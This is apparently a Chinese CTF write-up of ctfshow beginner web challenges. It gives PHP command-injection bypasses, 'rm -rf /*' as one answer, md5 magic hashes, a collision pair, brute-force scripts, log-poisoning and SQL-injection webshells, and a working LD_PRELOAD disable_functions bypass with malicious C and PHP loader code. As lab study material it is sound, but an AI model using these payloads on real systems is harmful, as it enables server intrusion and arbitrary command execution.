0%

ctfshow萌新计划刷题记录

萌新计划emmm….感觉前面算萌新后面就不萌了呢。

web1-7

这几个题全部都是要想办法构造id=1000出来。乍一看以为考察sql注入,实则是考察mysql中的一些运算符的使用。0b1111101000这个payload可以全部绕过。

总结一下这些题的姿势。构造数字1000(或者说是构造某个数字)可以使用的方法:

0.直接使用这个数字

1.进制转换:例如二进制0b1111101000 十六进制 0x38e

2.字节操作:两次取反~~1000,异或200^800,按位与 992|8

3.运算符,即加减乘除构造1000

web8

这个题有点迷醉,,不知道为啥是传rm -rf /*,(好像是一个梗…?)

web9-15

这些题的考察点是命令执行。不过由于是一个模子里出来的题..钻了个非预期的空子,因为知道包含了config.php,而且flag就在里面,那就直接echo $flag;就直接出答案了…如果出现了过滤分号的情况就直接?>闭合语句,粗暴出答案。

总结一下命令注入的点:

eval($cmd)的形式

1.无过滤:直接任意执行系统命令即可。

2.过滤了系统命令执行函数:php有很多能执行系统命令的函数,常用的有:

1
exec,system,shell_exec,passthru,popen,proc_open,pcntl_exec,proc_open,反撇号

其中,system,passthru这两个函数将结果直接返回浏览器,无需echo或return,exec,shell_exec,反撇号这种形式都需要将结果存入一个数组或单独输出(直接输出只输出结果的最后一行),否则不会显示。

具体例子(常用的):

echo exec(“ls”); // index.php

passthru(“ls”); // test.php config.php index.php

system(“ls /“); // 显示根目录下所有文件

echo `ls`; // test.php config.php index.php

3.过滤了分号,这时候就只能执行一句代码而且必须用?>来闭合。同样考虑上面的这些函数。

4.注意灵活运用linux中显示文件信息的函数,例如cat被过滤了考虑tac,某个文件名被过滤了考虑使用*来显示所有的。

5.可以尝试通过$_GET或$_POST来绕过对某个参数的过滤,例如c=echo `$_GET[1]`;&1=tac flag.php。

6.借助php可以动态执行命令的特性,通过两个变量构造出欲执行的函数名称和参数,例如$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);

7.借助assert函数,assert(assertion):assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。且assert中的字符串可以没有分号。

web16

这波反向跑路又秀到我了…答案是传入36d,爆破或者知道梗的就可以做出来emmm

这里简单总结一下md5相关的绕过:

1.md5弱相等:if(md5($a)==md5(b) && $a!==$b)

通过寻找0e开头的md5绕过,0e开头的会被识别做科学计数法,结果都是0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
2.md5强相等if($a!==$b && md5($a)===nd5($b))

1)数组绕过:md5()和sha1()函数的共同特点是他们不能处理数组,他们处理数组全部返回null

2)md5碰撞:这里给出一组值不相等但md5后完全相同的一组数据:

1
2
3
4
$a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";
$b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2";

// res: 008ee33a9d58b51cfeb425b0959121c9

ps1.附上md5爆破脚本:

(1)数字型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-

'''
使用实例:python md5crack_number.py "abc" 5 代表爆破开头为"abc"的MD5,数字型,爆破5个,若不指定第二个参数,则默认为1个
'''
from multiprocessing.dummy import Pool as tp
import hashlib
import sys
try:
knownMd5 = sys.argv[1]
except:
print "Wrong command line parameter"
sys.exit()

def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):
key = code.split(':')
start = int(key[0])
end = int(key[1])
for code in range(start, end):
if md5(code)[0:len(knownMd5)] == knownMd5:
print code
print "\n"
break

list=[]
num=1
try:
num = sys.argv[2]
except:
print "keep num=1 as default"

for i in range(int(num)):
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()
pool.map(findCode, list)
pool.close()
pool.join()

(2)字符型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-

'''
使用实例:python md5crack_string.py "abc" 5 代表爆破开头为"abc"的MD5,字符型,长度默认为4(改进脚本可以指定爆破结果长度),数量为5个,若不指定第二个参数,则默认为1个
'''
import hashlib
import sys

addStr = 'as'
try:
knownMd5 = sys.argv[1]
except:
print "Wrong command line parameter"
sys.exit()

dict = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'

def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()

num=1
try:
num=int(sys.argv[2])
except:
print "keep num=1 as default"

res=0
for i in dict:
for j in dict:
for k in dict:
for l in dict:
if res < num:
x = i + k + j + l
b = x + addStr
codeMd5 = md5(b)
if codeMd5[:len(knownMd5)] == knownMd5:
print(x)
res = res + 1
else:
sys.exit()

(3) 多重MD5截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*-
'''
使用方法:python md5Crack.py "你要碰撞的字符串" 字符串的起始位置
使用实例:python md5Crack.py "0e" 0 将产生MD5值为0e开头[即第0个字符开始数两位为0e]的字符串
'''
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,start=0, size=4):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md51 = hashlib.md5(rnds)
value1 = md51.hexdigest()
if value1[start: start+str_len] == substr:
#碰撞双md5
md52 = hashlib.md5(value1)
if md52.hexdigest()[start: start+str_len] == substr:
print rnds+ "=>" + value1+"=>"+ md52.hexdigest() + "\n"
#stop_event.set()


if __name__ == '__main__':
try:
substr = sys.argv[1].strip()
except:
print "Wrong command line parameter"
sys.exit()
start_pos = 0
try:
start_pos = int(sys.argv[2])
except:
print "keep start_pos=0 as default"
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()

web17-22

向nginx访问日志中注入php代码,蚁剑连接webshell

web23-24

条件竞争访问上传的php。

获得百分之百的快乐

登录处sql注入,向目录中写入webshell进行连接。

1
admin' union select '<?php eval($_POST[1]) ?>' into outfile '/var/www/html/shell.php'

连接后发现flag.php提示flag在环境变量里,这里有两种方式输出结果。

第一种相对简单,直接新建一个php文件,内容:

1
2
3
<?php
print_r($_SERVER);
?>

随后浏览器访问即可获得flag。

第二种比较复杂,借助LD_PRELOAD环境变量劫持突破disable_functions。

简单说一下原理,LD_PRELOAD是linux中的一个环境变量,如果使用LD_PRELOAD环境变量指定了一个共享库或共享对象,那么这个共享对象会在其他对象加载前被加载。例如LD_PRELOAD=/tmp/a.so /bin/ls,即在执行ls命令前,会先加载指定路径的a.so文件,如果这是一个恶意共享对象,那么可以执行任意操作。

我们可以通过LD_PRELOAD突破disable_functions,流程如下:

1.编写恶意 C 函数,并编译成共享对象;

2.在php执行过程中找到一个函数,这个函数能够产生一个新的进程;

3.通过putenv设置LD_PRELOAD环境变量,使得新产生的进程优先加载恶意共享对象。

首先由于被劫持的系统函数得由我们重新实现一次,函数原型必须一致,为减少复杂性,我们需要找到一个无参数且常用的系统函数,方便我们进行劫持操作。经过对几个常用命令的寻找 readelf -Ws /usr/bin/id,我们发现了getuid()函数符合要求。man getuid查看一下函数定义,随后重写该函数。

1
2
3
4
5
6
7
8
// getuid_evil.c
#include <unistd.h>
#include <sys/types.h>

uid_t getuid (void){
system("echo 'pwn it!'");
return 0;
}

随后编译成共享对象,gcc -shared -fPIC getuid_evil.c -o getuid_evil.so

最后,借助环境变量 LD_PRELOAD 劫持系统函数 getuid(),获取控制权。执行 LD_PRELOAD=/home/getuid_evil.so /usr/bin/id,注入代码成功执行。

下面我们需要找寻内部启动新进程的 PHP 函数。虽然 LD_PRELOAD 提供了劫持系统函数的能力,但前提是得控制 php 启动外部程序才行。常见的 system() 启动程序方式显然不行,否则就不存在突破 disable_functions 一事了。PHP 脚本中除了调用 system()、exec()、shell_exec() 等等一堆 php 函数外,还有可能是php本身函数存在启动新进程。比如,php 函数 a() 实现“前进”的功能,php 函数 a() 又由组成 php 解释器的 C 语言模块之一的 b.c 实现,C 模块 b.c 内部又通过调用外部程序 c.bin 实现,那么,我的 php 脚本中调用了函数 a(),势必启动外部程序 c.bin。现在,我需要找到类似 a() 的真实存在的 PHP 函数。

考虑哪样的函数可能会产生新进程。我们知道,进程不能直接调用硬件资源,比如读取磁盘文件、接收网络数据等,但可以将用户态模式(目态)切换到内核模式(管态),通过系统调用来访问硬件设备。这时通过strace命令就可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间、调用次数,成功和失败的次数。这样我们可以做出一个初步判断,处理图片、请求网页、发送邮件等等场景中存在着我们需要的函数。分别尝试curl_init(),Imagick::newImage(),mail()这些函数,最终发现mail()函数存在启动新进程的情况。

有一篇文章专门讲解了如何寻找满足产生新进程的函数。在这里

1
2
3
4
// mail.php
<?php
mail("","","","");
?>

随后执行命令strace -f php mail.php 2>&1 | grep -E "execve|fork|vfork",查看php mail.php的程序执行过程中产生的所有系统调用。

execve的主要作用为:
1.分配进程新的地址空间,将环境变量、main参数等拷贝到新地址空间的推栈中;
2.解析可执行文件,将代码、数据装入/映射到内存
3.进程新环境的设置,如关闭设置FD_CLOEXEC的文件等
4.设置execve函数返回到用户态时的执行地址;解析器入口地址或程序的入口地址

通过输出结果我们发现mail函数的确启动了新进程。调用了/usr/sbin/sendmail。readelf -Ws /usr/sbin/sendmail 查看发现sendmail也确实调用了getuid函数。故执行mail函数可以成功执行我们的恶意代码。

但其实这个方法是将条件变得严苛了,我们干的事情局限于找到一个函数,然后对其进行注入。且真实情况下,某些环境中,web 禁止启用 sendmail、甚至系统上根本未安装 sendmail(比如我本地测试的时候才发现其实自己的wsl2中就没有安装sendmail,专门装了一下才进行操作的),也就谈不上劫持 getuid(),通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件;二是,即便目标可以启用 sendmail,由于未将主机名(hostname 输出)添加进 hosts 中,导致每次运行 sendmail 都要耗时半分钟等待域名解析超时返回,www-data 也无法将主机名加入 hosts(如,127.0.0.1 lamp、lamp.、lamp.com)。基于这两个原因,我不得不放弃劫持函数 getuid(),必须找个更普适的方法。

回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那就完全可以不依赖 sendmail 了。

通过查找了解到,GCC 有个 C 语言扩展修饰符__attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数。即,我们不局限于仅劫持某一函数,而应考虑劫持共享对象

修改代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// evil.c
#include <unistd.h>

void evil(void){
system("echo 'pwned!'");
}

__attribute__ ((__constructor__)) void exec(void){
if (getenv("LD_PRELOAD") == NULL){
return;
}

unsetenv("LD_PRELOAD");
evil();

return;
}

编译,gcc -shared -fPIC evil.c -o evil.so -w

随后php mail.php, 发现成功输出pwned!

最终php文件代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>// bypass_disable_functions.php
><?php
$cmd=$_GET['cmd'];
$out_path=$_GET['outpath'];
$evil_cmdline=$cmd . " > " . $outpath ." 2>&1";
echo "<p> cmdline: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path=$_GET['sopath'];
putenv("LD_PRELOAD=" . $so_path);

error_log("啊哈哈哈哈!",1);

echo "<p> output:" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
>?>

c程序代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>// evil.c

>#define _GNU_SOURCE
>#include <stdlib.h>
>#include <stdio.h>
>#include <unistd.h>
>#include <string.h>
>extern char** environ;

>__attribute__ ((__constructor__)) void exec(void){
const char* cmdline = getenv("EVIL_CMDLINE");

int i;
for(i = 0; environ[i]; i++){
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

system(cmdline);

return;
>}

将evil.c编译成evil.so上传服务器。

payload:bypass_disable_functions.php?cmd=env&outpath=/var/www/html/res.txt&sopath=/var/www/html/evil.so

第三种借助蚁剑的插件实现bypass。